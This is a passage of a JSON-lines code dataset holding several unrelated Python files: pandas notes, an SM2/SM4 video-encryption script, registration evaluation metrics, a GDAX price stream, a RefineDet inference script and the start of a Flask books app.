floats\n\n'''Dataframes'''\nnp.random.seed(101)# set seed so replicable\ndf = pd.DataFrame(randn(5,4), ['A', 'B', 'C'], ['X', 'Y', 'Z'])# data, inexes, cols\n#dataframe is collection series that share indexes. \ndf['Y']# w col, just a series\ntype(df['Y'])\ndf.W #also works but not as preferable, as may get overwritten by inbuilt function\ndf[['Y','Z']]#get dataframe\n\ndf['new']=df['Y']+df['Z']#create new\ndf.drop('new', axis=1)#axis=1 cols, default drop via row indexes\ndf.drop('new', axis=1, inplace=True)#to perm removed, safeguard to stop accidental removal\ndf.drop('A')\ndf.shape # rows are axis 0, cols are 1 as iherited from numpy shape structure\n\ndf.head(n=10)\ndf.info #number non-null vals, index, column dtypes\n\n# sal[sal['EmployeeName']=='JOSEPH DRISCOLL']['JobTitle']\n# job title of joesph driscoll\n\n#select rows\ndf.loc['A']#returns series, rows are series as well\ndf.iloc[0]\n\n#subset rows and cols\ndf.loc['A', 'Y'] #rows specified ffirst\ndf.loc[['A', 'B'], ['Z']]\ndf.loc['A','Y':'Z'] #Can use : for indexing\n\n'''Conditional selection'''\ndf > 0 # get dataframe boolaen values\ndf[df>0] #returns NaNs where condition not met\ndf['Y']>0 #get bool series, can use to filter rows\ndf[df['Y']>0]#conditional based on series filters rows\ndf[df['Z']<0] # get dataframe result\n#can just apply chain selections\ndf[df['Y']>0][['Y', 'Z']]#select cols of filtered dataframe by row\n\n\ndf[(df['Y']>0) and (df['Z']>0)]#Error python and op can only take into account two boolean values, not two series of bools\ndf[(df['Y']>0) & (df['Z']>0)]\ndf[(df['Y']>0) | (df['Z']>0)]\n\ndf.iloc[:,0]>0 # col 0 entries greater than 0\ndf.iloc[0,:]>0 # row 0 entries greater than 0\n\ndf.loc[:, df.iloc[2,:]>0] # filter cols where row2 entries are not greater than 0\n\ndf.loc[:, df.iloc[:,0]>0]\ndf.loc[:, df[0]>0] #same, filter cols same index as rows in col 0 that are less than 0\n\n\n#resetting pandas index\ndf.reset_index()#also creates col called index, with orig labels\ndf.reset_index(inplace=True)\n\nnewind= 'CA NY WY OR CO'.split()\ndf['States']= newind\ndf.set_index('States')#still needs inplace to make long impact\n\n''' MULTI INDEXING '''\n\noutside = ['G1', 'G1', 'G1', 'G2', 'G2', 'G2']\ninside = [1,2,3,1,2,3]\nhier_index = list(zip(outside, inside))\nhier_index = pd.MultiIndex.from_tuples(hier_index)\n#takes list creates multiindex with multiple labels\n#index heirarchy\n\ndf = pd.DataFrame(randn(6,2), hier_index, ['A', 'B'])\ndf.loc['G1']\ndf.loc['G1'].loc[1]\ndf.index.names ## indexes currently dont have names\ndf.index.names=['Groups', 'Num']\ndf.loc['G1'].loc[1]['A']\n\ndf.xs('G1') # returns cross section, ability to skip go inside multiindex\ndf.xs(1, level='Num')# collect all where level Num =1\n\n''' Missing data '''\n#Pandas auto fills in with null/NaN\nd= {'A':[1,2,np.nan],'B':[5, np.nan, np.nan], 'C': [1,2,3]}\ndf = pd.DataFrame(d)\n\ndf.dropna() #drops any row with missing values\ndf.dropna(axis=1)#drop any cols with null vals\ndf.dropna(thresh=2) # require that many nan vals\ndf.fillna(value='FILL')\ndf['A'].fillna(value=df['A'].mean())\n\nsal.groupby('Year')['BasePay'].mean()#basepay per year\nsal['JobTitle'].value_counts().iloc[:5] #5 most common jobs\n#auto sorts descending\n\ndf.fillna(df.mean())#replace with respective col mean\n#axis not currently implemented for fillna so need to iterate through\n#fillna according to row avg\nm = df.mean(axis=1)#average across cols, therefore for entire row\nfor i, col in enumerate(df):\n # using i allows for duplicate columns\n # inplace *may* not always work here, so IMO the next line is preferred\n # df.iloc[:, i].fillna(m, inplace=True)\n df.iloc[:, i] = df.iloc[:, i].fillna(m)\ndf.mean().reset_index(drop=True)#get mean across cols, drop col index and reset\n\n''' Group by \nAllow group together rows based off column, \nAggregate functions - any takes in multiple values, outputs single value\n'''\n\ndata = {'Company':['GOOG','GOOG','MSFT','MSFT','FB','FB'],\n 'Person':['Sam','Charlie','Amy','Vanessa','Carl','Sarah'],\n 'Sales':[200,120,340,124,243,350]}\n\ndf = pd.DataFrame(data)\nbyComp=df.groupby('Company')#returns group by object, input col want to groupby, works mostly with numerical cols\nbyComp.mean() # ignores string cols as none for mean\nbyComp.sum()\nbyComp.sum().loc['FB']\ndf.groupby('Comapny').min() #.max() .count() - works with strings as alphabetical order\nbyComp.describe()\nbyComp.describe().transpose()['FB']# returns sales horizontally describe info\n\n''' Merging, concatenating, joining '''\n\ndf1 = pd.DataFrame({'A': ['A0', 'A1', 'A2', 'A3'],\n 'B': ['B0', 'B1', 'B2', 'B3'],\n 'C': ['C0', 'C1', 'C2', 'C3'],\n 'D': ['D0', 'D1', 'D2', 'D3']},\n index=[0, 1, 2, 3])\n\ndf2 = pd.DataFrame({'A': ['A4', 'A5', 'A6', 'A7'],\n 'B': ['B4', 'B5', 'B6', 'B7'],\n 'C': ['C4', 'C5', 'C6', 'C7'],\n 'D': ['D4', 'D5', 'D6', 'D7']},\n index=[4, 5, 6, 7]) \n\ndf3 = pd.DataFrame({'A': ['A8', 'A9', 'A10', 'A11'],\n 'B': ['B8', 'B9', 'B10', 'B11'],\n 'C': ['C8', 'C9', 'C10', 'C11'],\n 'D': ['D8', 'D9', 'D10', 'D11']},\n index=[8, 9, 10, 11])\n\n\n'''\nConcatenation glues together dataframes, dimensions should match along axis concatenating on, \n\n'''\npd.concat([df1, df2, df3]) # default axis 0, join along rows\npd.concat([df1, df2, df3], axis=1)#bunch missing vals as missing for row indexes, 3 lots A B C D cols\n\nleft = pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K3'],\n 'A': ['A0', 'A1', 'A2', 'A3'],\n 'B': ['B0', 'B1', 'B2', 'B3']})\n \nright = pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K3'],\n 'C': ['C0', 'C1', 'C2', 'C3'],\n 'D': ['D0', 'D1', 'D2', 'D3']}) \n\n# Merge logic, similar to logic merging SQL tables\npd.merge(left, right, how='inner', on='key')#inner is default, on- key column, can pass in more than one, joined on key col they share, instead of just gluing\n\n\nleft = pd.DataFrame({'key1': ['K0', 'K0', 'K1', 'K2'],\n 'key2': ['K0', 'K1', 'K0', 'K1'],\n 'A': ['A0', 'A1', 'A2', 'A3'],\n 'B': ['B0', 'B1', 'B2', 'B3']})\n \nright = pd.DataFrame({'key1': ['K0', 'K1', 'K1', 'K2'],\n 'key2': ['K0', 'K0', 'K0', 'K0'],\n 'C': ['C0', 'C1', 'C2', 'C3'],\n 'D': ['D0', 'D1', 'D2', 'D3']})\n\n# Can merge on multiple cols\npd.merge(left, right, how='outer', on=['key1', 'key2'])\n#keeps nan values where no match for inserted vals\npd.merge(left, right, how='right', on=['key1', 'key2'])# left as well\n#keeps all of right entries, and left fills in nan where missing\n\n'''\n Joining, combining cols of two potentially differently indexed dataframes\n Join on indexes instead of cols(merge), very similar\n'''\n\nleft = pd.DataFrame({'A': ['A0', 'A1', 'A2'],\n 'B': ['B0', 'B1', 'B2']},\n index=['K0', 'K1', 'K2']) \n\nright = pd.DataFrame({'C': ['C0', 'C2', 'C3'],\n 'D': ['D0', 'D2', 'D3']},\n index=['K0', 'K2', 'K3'])\n\nleft.join(right) #inner join between left and right\nleft.join(right, how='outer')\n\n''' OPERATIONS '''\n\ndf = pd.DataFrame(\n {'col1':[1,2,3,4],\n 'col2':[444,555,666,444],\n 'col3':['abc','def','ghi','xyz']})\ndf.head()\n\ndf['col2'].unique()\ndf['col2'].nunique() #number unique vals len(df['col2'].unique())\ndf['col2'].value_counts() # table how often each val occurred\n\n#Conditional selection\ndf[(df['col1']>2) & (df['col2']==444)]\n\ndef times2(x):\n return x*2\n#How to apply custom function\ndf['col1'].apply(times2)#broadcast function to each elem in col\ndf['col1'].apply(len)\ndf['col1'].apply(lambda x: x*2)#apply own custom lambda expression\n\ndf.drop('col1', axis=1, inplace=True)\ndf.columns # list col names\ndf.index # list indexes\ndf.sort_values(by='col2')\n\ndf.isnull() #where any elems are null\ndf.dropna()\n\ndf = pd.DataFrame({'col1':[1,2,3,np.nan],\n 'col2':[np.nan,555,666,444],\n 'col3':['abc','def','ghi','xyz']})\ndf.head()\ndf.fillna('Fill')\n\ndata = {'A':['foo','foo','foo','bar','bar','bar'],\n 'B':['one','one','two','two','one','one'],\n 'C':['x','y','x','y','x','y'],\n 'D':[1,3,2,5,4,1]}\n\ndf = pd.DataFrame(data)\ndf.pivot_table(values='D', index=['A', 'B'], columns='C') #takes in values, indexes, columns\n#created multiindex from a,b , columns become c so x,y, values are d, NaN where no vals exist\n\n''' INPUT AND OUTPUT \nCSV, EXCEL, HTML, SQL \nLOTS OF OPTIONS\n\nconda install sqlalchemy\nconda install lxml\nconda install html5lib\nconda install BeautifulSoup4\nconda install xlrd\n\n'''\n\npwd #check location jupyter notebook currently in\ndf = pd.read_csv('example.csv')#click tab to auto complete\ndf.to_csv('My_output', index=False)# save to output, dont save index, so doesn't become an articficial col\n#can only import data, not images etc\n\npd.read_excel('Excel_Sample.xslx', sheetname='Sheet1')\n\ndf.to_excel('Excel.xlsx', sheet_name='Newsheet')#when writing to excel, it is sheet_name not sheetname\ndata=pd.read_html('htmllink')\n#usually doesnt relate to dataframe\ntype(data)#pandas tried to look for all tables on html, convert each table found to dataframe, stored in a list\ndata[0]#first table on html\n\n# Working ith SQL, not best way to read SQL database like postgres etc\n# going to create quick sql engine, search for specific driver, to work with your flavour sql\n#this is an example\nfrom sqlalchemy import create_engine\nengine = create_engine('sqlite:///:memory:')\ndf.to_sql('my_table', engine)#engine is usually a connection, \n#pandas by iteself not best way to read sql into pandas, look for specialised python libraries\nsqldf = pd.read_sql('my_table', con=engine)\n\n\n#Count number of jobs that occur only once in 2013\nser=sal[sal['Year']==2013]['JobTitle'].value_counts()\nser[ser==1].count()\n#OR!!!\nsum(sal[sal['Year']==2013]['JobTitle'].value_counts() ==1)\n\n#correlation between jobtitle length and totalpay\ndf= pd.concat([sal['JobTitle'].apply(lambda x: len(x)), sal['TotalPayBenefits']], axis=1)\ndf.corr()\n\n#or create new col\nsal['title_len']= sal['JobTitle'].apply(len)\nsal[['title_len', 'TotalPayBenefits']].corr()\n\nsal.loc[sal['TotalPayBenefits'].idxmax()] #get highest paid person\nsal.iloc[sal['TotalPayBenefits'].argmin()] #get lowest paid person\n\nsal['JobTitle'].value_counts().iloc[:5]\nsal['JobTitle'].value_counts().head(n=5)\n\ndef chief_string(title):\n if 'chief' in title.lower().split():\n return True\n else:\n return False\n\nsum(sal['JobTitle'].apply(lambda x: chief_string(x)))\n\nlen(sal[(sal['JobTitle'].str.contains(\"Chief\"))])\nsum(sal['JobTitle'].str.contains(\"Chief\"))\n\n#top 5 email hosts\ndf['Email'].apply(lambda x: x.split(\"@\")[1]).value_counts().head()\n#cards that expire 2025\ndef expire25(dt):\n if dt.split(\"/\")[1]==\"25\":\n return True\n else:\n return False\n \nsum(df['CC Exp Date'].apply(lambda x: expire25(x)))\n\nsum(df['CC Exp Date'].apply(lambda x: e[3:]=='25'))\ndf[df['CC Exp Date'].apply(lambda x: e[3:]=='25')].count()\n\nlen(df.columns)\nlen(df.index)\n\n#count people language = 'en'\nsum(df['Language']=='en')\ndf[df['Language']=='en'].count()['Language']\nlen(df[df['Language']=='en'].index)\n\nlen(df[(df[\"CC Provider\"]=='American Express') & (df['Purchase Price']>95)])\ndf[(df[\"CC Provider\"]=='American Express') & (df['Purchase Price']>95)].count()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"machine learning bootcamp/pandas_notes.py","file_name":"pandas_notes.py","file_ext":"py","file_size_in_byte":12641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"239233176","text":"#coding = utf-8\nimport SM2,SM3,SM4\ndef encryptMP4(file:str,key:str):\n with open(file,'rb') as v:\n value = v.read()\n v.close()\n with open(key,'rb') as w:\n sm4key = w.read()\n w.close()\n enc_mp4 = SM4.encrypt(sm4key,value)\n with open('testmp4.enc','wb') as q:\n q.write(enc_mp4)\n q.close()\n\ndef SM3sign(key:str):\n with open(key,'rb') as v:\n sm4key = v.read()\n v.close()\n res = SM3.signit(sm4key)\n return res\n\ndef SM2encrypt(key:str,publickey:str,privatekey:str):\n with open(key,'rb') as v:\n SM4key = v.read()\n v.close()\n with open(publickey,'r') as w:\n pubkey = w.read()\n w.close()\n with open(privatekey,'r') as q:\n prikey = q.read()\n q.close()\n res = SM2.encrypt(pubkey,prikey,SM4key)\n return res\n\ndef SM2decrypt(key:str,publickey:str,privatekey:str):\n with open(key,'rb') as v:\n SM4enc_key = v.read()[:-64]\n v.close()\n with open(publickey,'r') as w:\n pubkey = w.read()\n w.close()\n with open(privatekey,'r') as q:\n prikey = q.read()\n q.close()\n res = SM2.decrypt(pubkey,prikey,SM4enc_key)\n return res\n\ndef init(SM4key:str,pubkey:str,prikey:str,testmp4:str):\n sign = SM3sign(SM4key)\n enc_SM4key = SM2encrypt(SM4key,pubkey,prikey)\n sign = bytes(sign, encoding='utf-8')\n #写入encryption\n encryption = enc_SM4key + sign\n # print(enc_SM4key)\n # print(len(enc_SM4key))\n # print(sign)\n # print(len(sign))\n # print(encryption[:-64])\n with open('encryption','wb') as w:\n w.write(encryption)\n w.close()\n encryptMP4(testmp4,SM4key)\n\n\nif __name__ == '__main__':\n SM4key = 'C:/Users/zh200/Desktop/树莓派py代码/SM4KEY.txt'\n pubkey = 'C:/Users/zh200/Desktop/树莓派py代码/pubkeytest'\n prikey = 'C:/Users/zh200/Desktop/树莓派py代码/prikeytest'\n testmp4 = 'C:/Users/zh200/Desktop/树莓派py代码/test.mp4'\n #enc_sm4 = 'C:/Users/zh200/Desktop/树莓派py代码/encryption'\n #print(SM2decrypt(enc_sm4, pubkey, prikey))\n\n init(SM4key,pubkey,prikey,testmp4)","sub_path":"Raspberry Pi code(Middleware)/树莓派py代码/pcam/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"383544479","text":"\"\"\"\nEvaluate experiments\n\nCopyright (C) 2016-2019 Jiri Borovec \n\"\"\"\n\nfrom itertools import chain\n\nimport numpy as np\nfrom scipy.spatial import distance\n\nfrom birl.utilities.registration import (estimate_affine_transform, get_affine_components,\n norm_angle)\n\n\ndef compute_points_dist_statistic(points_ref, points_est):\n \"\"\" compute distance as between related points in two sets\n and make a statistic on those distances - mean, std, median, min, max\n\n :param points_ref: np.array\n :param points_est: np.array\n :return: (np.array, {str: float})\n\n >>> points_ref = np.array([[1, 2], [3, 4], [2, 1]])\n >>> points_est = np.array([[3, 4], [2, 1], [1, 2]])\n >>> dist, stat = compute_points_dist_statistic(points_ref, points_ref)\n >>> dist\n array([ 0., 0., 0.])\n >>> all(stat[k] == 0 for k in stat if k not in ['overlap points'])\n True\n >>> dist, stat = compute_points_dist_statistic(points_ref, points_est)\n >>> dist #doctest: +ELLIPSIS\n array([ 2.828..., 3.162..., 1.414...])\n >>> import pandas as pd\n >>> pd.Series(stat).sort_index() # doctest: +ELLIPSIS +NORMALIZE_WHITESPACE\n Max 3.16...\n Mean 2.46...\n Mean_weighted 2.52...\n Median 2.82...\n Min 1.41...\n STD 0.75...\n overlap points 1.00...\n dtype: float64\n\n Wrong input:\n >>> compute_points_dist_statistic(None, np.array([[1, 2], [3, 4], [2, 1]]))\n ([], {'overlap points': 0})\n \"\"\"\n if not all(pts is not None and list(pts) for pts in [points_ref, points_est]):\n return [], {'overlap points': 0}\n\n lnd_sizes = [len(points_ref), len(points_est)]\n nb_common = min(lnd_sizes)\n assert nb_common > 0, 'no common landmarks for metric'\n points_ref = np.asarray(points_ref)[:nb_common]\n points_est = np.asarray(points_est)[:nb_common]\n diffs = np.sqrt(np.sum(np.power(points_ref - points_est, 2), axis=1))\n\n inter_dist = distance.cdist(points_ref, points_ref)\n # inter_dist[range(len(points_ref)), range(len(points_ref))] = np.inf\n dist = np.mean(inter_dist, axis=0)\n weights = dist / np.sum(dist)\n\n dict_stat = {\n 'Mean': np.mean(diffs),\n 'Mean_weighted': np.sum(diffs * weights),\n 'STD': np.std(diffs),\n 'Median': np.median(diffs),\n 'Min': np.min(diffs),\n 'Max': np.max(diffs),\n 'overlap points': nb_common / float(max(lnd_sizes))\n }\n return diffs, dict_stat\n\n\ndef compute_affine_transf_diff(points_ref, points_init, points_est):\n \"\"\" compute differences between initial state and estimated results\n\n :param points_ref: np.array\n :param points_init: np.array\n :param points_est: np.array\n :return:\n\n >>> points_ref = np.array([[1, 2], [3, 4], [2, 1]])\n >>> points_init = np.array([[3, 4], [1, 2], [2, 1]])\n >>> points_est = np.array([[3, 4], [2, 1], [1, 2]])\n >>> diff = compute_affine_transf_diff(points_ref, points_init, points_est)\n >>> import pandas as pd\n >>> pd.Series(diff).sort_index() # doctest: +ELLIPSIS +NORMALIZE_WHITESPACE\n Affine rotation Diff -8.97...\n Affine scale X Diff -0.08...\n Affine scale Y Diff -0.20...\n Affine shear Diff -1.09...\n Affine translation X Diff -1.25...\n Affine translation Y Diff 1.25...\n dtype: float64\n\n Wrong input:\n >>> compute_affine_transf_diff(None, np.array([[1, 2], [3, 4], [2, 1]]), None)\n {}\n \"\"\"\n if not all(pts is not None and list(pts) for pts in [points_ref, points_init, points_est]):\n return {}\n\n points_ref = np.nan_to_num(points_ref)\n mtx_init = estimate_affine_transform(points_ref, np.nan_to_num(points_init))[0]\n affine_init = get_affine_components(np.asarray(mtx_init))\n mtx_est = estimate_affine_transform(points_ref, np.nan_to_num(points_est))[0]\n affine_estim = get_affine_components(np.asarray(mtx_est))\n\n diff = {'Affine %s %s Diff' % (n, c): (np.array(affine_estim[n]) - np.array(affine_init[n]))[i]\n for n in ['translation', 'scale'] for i, c in enumerate(['X', 'Y'])}\n diff.update({'Affine %s Diff' % n: norm_angle(affine_estim[n] - affine_init[n], deg=True)\n for n in ['rotation']})\n diff.update({'Affine %s Diff' % n: affine_estim[n] - affine_init[n]\n for n in ['shear']})\n return diff\n\n\ndef compute_ranking(user_cases, field, reverse=False):\n \"\"\" compute ranking over selected field\n\n :param {str: {}} user_cases: dictionary with measures for user and case\n :param str field: name of field to be ranked\n :param bool reverse: use reverse ordering\n :return {}: extended dictionary\n\n >>> user_cases = {\n ... 'karel': {1: {'rTRE': 0.04}, 2: {'rTRE': 0.25}, 3: {'rTRE': 0.1}},\n ... 'pepa': {1: {'rTRE': 0.33}, 3: {'rTRE': 0.05}},\n ... 'franta': {2: {'rTRE': 0.01}, 3: {'rTRE': 0.15}}\n ... }\n >>> user_cases = compute_ranking(user_cases, 'rTRE')\n >>> import pandas as pd\n >>> pd.DataFrame({usr: {cs: user_cases[usr][cs]['rTRE_rank'] for cs in user_cases[usr]}\n ... for usr in user_cases})[sorted(user_cases.keys())] # doctest: +NORMALIZE_WHITESPACE\n franta karel pepa\n 1 3 1 2\n 2 1 2 3\n 3 3 2 1\n \"\"\"\n users = list(user_cases.keys())\n cases = set(chain(*[user_cases[u].keys() for u in user_cases]))\n\n for cs in cases:\n usr_val = [(u, user_cases[u][cs].get(field, np.nan))\n for u in users if cs in user_cases[u]]\n usr_val = sorted(usr_val, key=lambda x: x[1], reverse=reverse)\n usr_rank = dict((usr, i + 1) for i, (usr, _) in enumerate(usr_val))\n for usr in users:\n if cs not in user_cases[usr]:\n user_cases[usr][cs] = {}\n user_cases[usr][cs][field + '_rank'] = usr_rank.get(usr, len(users))\n\n return user_cases\n","sub_path":"birl/utilities/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"424863923","text":"# Data Stream module - 07/08/2018 - Paul Leimer\n#\topens a websocket link to the GDAX API, subscribes to the ticker channel\n#\tmanages a queue that can be used by other threads to process messages from\n#\tGDAX\n#\n#\tAt start, data stream queues past data of specified time into the past\n#\n#\tOnly useful for data points\n\n\nimport gdax\nimport time\nfrom queue import Queue\nfrom datetime import datetime, timedelta\n\t\n\t\ndef getHistoricalData(secs, product): #can't be less than one\n\t\tif(secs < 60):\n\t\t\traise ValueError(\"Seconds must be greater than 60\")\n\t\t\n\t\tpublic_client = gdax.PublicClient()\n\t\tret = []\n\t\tres = []\n\t\t\n\t\tstart_time = datetime.utcnow() - timedelta(seconds = secs)\n\t\tback_end = start_time\n\t\t\n\t\twhile secs/60 > 300:\n\t\t\tend_time = start_time + timedelta(seconds = 300 * 60)\n\t\t\t\n\t\t\tres.append(public_client.get_product_historic_rates(product, granularity = 60, start = start_time.isoformat(), end=end_time.isoformat())[::-1])\n\t\t\tstart_time = end_time\n\t\t\tsecs = secs - 60*300\n\t\t\ttime.sleep(.4)\n\t\tres.append(public_client.get_product_historic_rates(product, granularity = 60, start = start_time.isoformat(), end=datetime.utcnow().isoformat())[::-1])\n\t\t\n\t\t#build results into proper jsons\n\t\t#gdax output is list containing:\n\t\t#[ time, low, high, open, close, volume ],\n\t\t#[ 1415398768, 0.32, 4.2, 0.35, 4.2, 12.3 ]\n\t\t\n\t\tfor set in res:\n\t\t\tret.append({'begin':'sent'})\n\t\t\tfor field in set:\n\t\t\t\tif datetime.utcfromtimestamp(field[0]) >= back_end:\n\t\t\t\t\tret.append({\n\t\t\t\t\t\t'time': datetime.utcfromtimestamp(field[0]).isoformat() + '.00Z',\n\t\t\t\t\t\t'price': field[4],\n\t\t\t\t\t\t'volume':field[5]\n\t\t\t\t\t})\n\t\t\t\n\t\treturn ret\n\t\t\n\t\t\n\t\t\n\t\t\nclass DataStream(gdax.WebsocketClient):\n\tdef __init__(self, products):\n\t\tsuper().__init__(self)\n\t\tself.products = products\n\t\tself.channels = ['ticker']\n\t\tself.url = 'wss://ws-feed.pro.coinbase.com'\n\t\t\n\t\tself._data_queue = Queue()\n\t\n\tdef getStream(self):\n\t\treturn self._data_queue\n\t\n\tdef on_open(self):\n\t\treturn\n\t\t\n\tdef on_message(self, msg):\n\t\t#try:\n\t\t#\tmsg['time'] = msg['time'][:-8]\n\t\t#except: pass\n\t\tself._data_queue.put(msg)\n\t\t\n\tdef on_close(self):\n\t\tprint(\"GDAX Stream terminated\")\n\t\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t","sub_path":"DataStream.py","file_name":"DataStream.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"508746686","text":"# Copyright 2022 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"infer_by_sdk\"\"\"\nimport argparse\nimport json\nimport os\n\nimport cv2\nimport numpy as np\nfrom pycocotools.coco import COCO\nfrom StreamManagerApi import MxDataInput, StringVector\nfrom StreamManagerApi import StreamManagerApi\nimport MxpiDataType_pb2 as MxpiDataType\n\n# Create an ArgumentParser object\nparser = argparse.ArgumentParser(description='\"Refinedet infer \" \"example.\"')\n\nNUM_CLASSES = 81\nMIN_SCORE = 0.1\nMAX_BOXES = 100\nNMS_THERSHOLD = 0.6\n\n# Gets the Full Path to the Current Script\ncurrent_path = os.path.abspath(os.path.dirname(__file__))\n\n# pipeline directory\nparser.add_argument(\"--pipeline_path\", type=str, default=os.path.join(current_path, \"../config/refinedet.pipeline\"))\nparser.add_argument(\"--stream_name\", type=str, default=\"refinedet\")\nparser.add_argument(\"--img_path\", type=str, default=os.path.join(current_path, \"../data/coco2017/val2017/\"))\nparser.add_argument(\"--instances_path\", type=str, default=os.path.join(current_path, \"../instances_val2017.json\"))\nparser.add_argument(\"--label_path\", type=str, default=os.path.join(current_path, \"../data/config/coco2017.names\"))\nparser.add_argument(\"--res_path\", type=str, default=os.path.join(current_path, \"../sdk/result/\"), required=False)\n\n# Analytical Parameters\nargs = parser.parse_args()\n\ndef apply_nms(all_boxes, all_scores, thres, max_boxes):\n \"\"\"Apply NMS to bboxes.\"\"\"\n y1 = all_boxes[:, 0]\n x1 = all_boxes[:, 1]\n y2 = all_boxes[:, 2]\n x2 = all_boxes[:, 3]\n areas = (x2 - x1 + 1) * (y2 - y1 + 1)\n\n order = all_scores.argsort()[::-1]\n keep = []\n\n while order.size > 0:\n i = order[0]\n keep.append(i)\n\n if len(keep) >= max_boxes:\n break\n\n xx1 = np.maximum(x1[i], x1[order[1:]])\n yy1 = np.maximum(y1[i], y1[order[1:]])\n xx2 = np.minimum(x2[i], x2[order[1:]])\n yy2 = np.minimum(y2[i], y2[order[1:]])\n\n w = np.maximum(0.0, xx2 - xx1 + 1)\n h = np.maximum(0.0, yy2 - yy1 + 1)\n inter = w * h\n\n ovr = inter / (areas[i] + areas[order[1:]] - inter)\n\n inds = np.where(ovr <= thres)[0]\n\n order = order[inds + 1]\n return keep\n\ndef send_data_get_output(stream_name, data_input, stream_manager):\n # plug-in id\n in_plugin_id = 0\n\n # Send data to the plug-in\n unique_id = stream_manager.SendData(stream_name, in_plugin_id, data_input)\n if unique_id < 0:\n print(\"Failed to send data to stream.\")\n exit()\n plugin_names = [b\"mxpi_tensorinfer0\"]\n name_vector = StringVector()\n for name in plugin_names:\n name_vector.push_back(name)\n\n infer_result = stream_manager.GetProtobuf(stream_name, 0, name_vector)\n if infer_result[0].errorCode != 0:\n error_message = \"GetProtobuf error. errorCode=%d, errorMessage=%s\" % (\n infer_result[0].errorCode, infer_result[0].messageName)\n raise AssertionError(error_message)\n\n tensor_package = MxpiDataType.MxpiTensorPackageList()\n tensor_package.ParseFromString(infer_result[0].messageBuf)\n box = np.frombuffer(tensor_package.tensorPackageVec[0].tensorVec[0].dataStr, dtype=' MIN_SCORE\n class_box_scores = class_box_scores[score_mask]\n class_boxes = pred_boxes[score_mask] * [h, w, h, w]\n if score_mask.any():\n nms_index = apply_nms(class_boxes, class_box_scores, NMS_THERSHOLD, MAX_BOXES)\n class_boxes = class_boxes[nms_index]\n class_box_scores = class_box_scores[nms_index]\n final_boxes += class_boxes.tolist()\n final_score += class_box_scores.tolist()\n final_label += [classs_dict[val_cls_dict[c]]] * len(class_box_scores)\n\n for loc, label, score in zip(final_boxes, final_label, final_score):\n res = {}\n res['image_id'] = img_id_card\n res['bbox'] = [loc[1], loc[0], loc[3] - loc[1], loc[2] - loc[0]]\n res['score'] = score\n res['category_id'] = label\n predictions.append(res)\n print(\"Parse the box success\")\n\n# Images reasoning\ndef infer():\n \"\"\"Infer images by refinedet. \"\"\"\n\n # Create StreamManagerApi object\n stream_manager_api = StreamManagerApi()\n # Use InitManager method init StreamManagerApi\n ret = stream_manager_api.InitManager()\n if ret != 0:\n print(\"Failed to init Stream manager, ret=%s\" % str(ret))\n exit()\n\n # create streams by pipeline config file\n with open(args.pipeline_path, \"rb\") as f:\n pipeline_str = f.read()\n\n # Configuring a stream\n ret = stream_manager_api.CreateMultipleStreams(pipeline_str)\n if ret != 0:\n print(\"Failed to create Stream, ret=%s\" % str(ret))\n exit()\n\n # Construct the input of the stream\n data_input = MxDataInput()\n # Stream_name encoded in UTF-8\n stream_name = args.stream_name.encode()\n print(stream_name)\n predictions = []\n with open(args.label_path, 'rt') as f:\n val_cls = f.read().rstrip(\"\\n\").split(\"\\n\")\n val_cls_dict = {}\n for i, cls in enumerate(val_cls):\n val_cls_dict[i] = cls\n coco_gt = COCO(args.instances_path)\n classs_dict = {}\n cat_ids = coco_gt.loadCats(coco_gt.getCatIds())\n for cat in cat_ids:\n classs_dict[cat[\"name\"]] = cat[\"id\"]\n\n for file_name in os.listdir(args.img_path):\n pred_data = []\n # Gets the Address of each image\n img_id = int(file_name.split('.')[0])\n file_path = args.img_path + file_name\n size = (cv2.imread(file_path)).shape\n\n # Read each photo in turn\n with open(file_path, \"rb\") as f:\n img_data = f.read()\n if not img_data:\n print(f\"read empty data from img:{file_name}\")\n continue\n # The element value img_data\n data_input.data = img_data\n boxes_output, scores_output = send_data_get_output(stream_name, data_input, stream_manager_api)\n pred_data.append({\"boxes\": boxes_output,\n \"box_scores\": scores_output,\n \"img_id\": img_id,\n \"image_shape\": size})\n\n parse_img_infer_result(pred_data[0], predictions, val_cls_dict, classs_dict)\n print(f\"Inferred image:{file_name} success!\")\n\n # Save the result in JSON format\n if not os.path.exists(args.res_path):\n os.makedirs(args.res_path)\n with open(args.res_path + 'predictions_test.json', 'w') as f:\n json.dump(predictions, f)\n stream_manager_api.DestroyAllStreams()\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n infer()\n","sub_path":"research/cv/RefineDet/infer/sdk/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"569517478","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///new-books-collection.db'\ndb = SQLAlchemy(app)\n\nclass Book(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(250), unique=True, nullable=False)\n author = db.Column(db.String(80), nullable=False)\n rating = db.Column(db.Float, nullable=False)\n\n # Optional: this will allow each book object to 